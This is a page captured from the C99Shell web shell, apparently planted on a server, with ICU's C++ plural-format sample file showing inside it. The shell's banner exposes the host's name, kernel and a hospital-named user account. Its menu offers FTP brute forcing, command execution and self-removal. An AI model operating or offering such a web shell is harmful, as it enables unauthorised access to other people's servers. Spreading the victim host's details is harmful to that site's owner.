!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/libicu65/usr/share/doc/alt-libicu65-devel/samples/plurfmtsample/   drwxr-xr-x
Free 294.38 GB of 429.69 GB (68.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     plurfmtsample.cpp (4.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/********************************************************************************
* © 2016 and later: Unicode, Inc. and others.
* License & terms of use: http://www.unicode.org/copyright.html#License
********************************************************************************
********************************************************************************
* Copyright (C) 2008-2013, International Business Machines Corporation and
* others. All Rights Reserved.
********************************************************************************
*/

//! [PluralFormatExample1]
#include <iostream>
#include "unicode/plurfmt.h"
#include "unicode/msgfmt.h"
#include "unicode/ustdio.h"
//! [PluralFormatExample1]

using namespace std;
using namespace icu;

static void PluralFormatExample() {
      
    u_printf("=============================================================================\n");
    u_printf(" PluralFormatExample()\n");
    u_printf("\n");
    u_printf(" Use PluralFormat and Messageformat to get Plural Form for languages below:\n");
    u_printf(" English, Slovenian\n");
    u_printf("=============================================================================\n");
    
    //! [PluralFormatExample] 
    UErrorCode status =U_ZERO_ERROR; 
    Locale locEn = Locale("en");
    Locale locSl = Locale("sl");

    UnicodeString patEn = UnicodeString("one{dog} other{dogs}");                      // English 'dog'
    UnicodeString patSl = UnicodeString("one{pes} two{psa} few{psi} other{psov}");    // Slovenian translation of dog in Plural Form

    // Create a new PluralFormat for a given locale locale and pattern string
    PluralFormat plfmtEn = PluralFormat(locEn, patEn,status);
    PluralFormat plfmtSl = PluralFormat(locSl, patSl,status);
    // Constructs a MessageFormat for given pattern and locale.
    MessageFormat* msgfmtEn =  new MessageFormat("{0,number} {1}", locEn,status);
    MessageFormat* msgfmtSl =  new MessageFormat("{0,number} {1}", locSl,status);

    int numbers[] = {0, 1, 2, 3, 4, 5, 10, 100, 101, 102};
    u_printf("Output by using PluralFormat and MessageFormat API\n");
    u_printf("%-16s%-16s%-16s\n","Number", "English","Slovenian");
 
    // Use MessageFormat.format () to format the objects and append to the given StringBuffer
    for (int i=0;i<sizeof(numbers)/sizeof(int);i++) {
          UnicodeString msgEn,msgSl;
          FieldPosition fpos = 0;
          Formattable argEn[]={Formattable(numbers[i]), Formattable(plfmtEn.format(numbers[i],status))};
          Formattable argSl[]={Formattable(numbers[i]), Formattable(plfmtSl.format(numbers[i],status))};
          msgfmtEn->format(argEn,2,msgEn,fpos,status);
          msgfmtSl->format(argSl,2,msgSl,fpos,status);
            u_printf("%-16d%-16S%-16S\n", numbers[i], msgEn.getTerminatedBuffer(),msgSl.getTerminatedBuffer());
      }

     u_printf("\n");

      // Equivalent code with message format pattern
      UnicodeString msgPatEn = "{0,plural, one{# dog} other{# dogs}}";
      UnicodeString msgPatSl = "{0,plural, one{# pes} two{# psa} few{# psi} other{# psov}}";
 
      MessageFormat* altMsgfmtEn = new MessageFormat(msgPatEn, locEn,status);
      MessageFormat* altMsgfmtSl = new MessageFormat(msgPatSl, locSl,status);
      u_printf("Same Output by using MessageFormat API only\n");
      u_printf("%-16s%-16s%-16s\n","Number", "English","Slovenian");
      for (int i=0;i<sizeof(numbers)/sizeof(int);i++) {
          UnicodeString msgEn,msgSl;
          Formattable arg[] = {numbers[i]};
          FieldPosition fPos =0;
          altMsgfmtEn->format(arg, 1, msgEn, fPos, status);
          altMsgfmtSl->format(arg, 1, msgSl, fPos,status);
          u_printf("%-16d%-16S%-16S\n", numbers[i], msgEn.getTerminatedBuffer(), msgSl.getTerminatedBuffer());
      }

     delete msgfmtEn;
    delete msgfmtSl;
    delete altMsgfmtEn;
    delete altMsgfmtSl;
    //! [PluralFormatExample]

      /*  output of the sample code:
       ********************************************************************
        Number            English            Slovenian
        0                0 dogs            0 psov
        1                1 dog            1 pes
        2                2 dogs            2 psa
        3                3 dogs            3 psi
        4                4 dogs            4 psi
        5                5 dogs            5 psov
        10                10 dogs            10 psov
        100                100 dogs        100 psov
        101                101 dogs        101 pes
        102                102 dogs        102 psa

      *********************************************************************/
}
int main (int argc, char* argv[])
{
    PluralFormatExample();
    return 0;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0035 ]--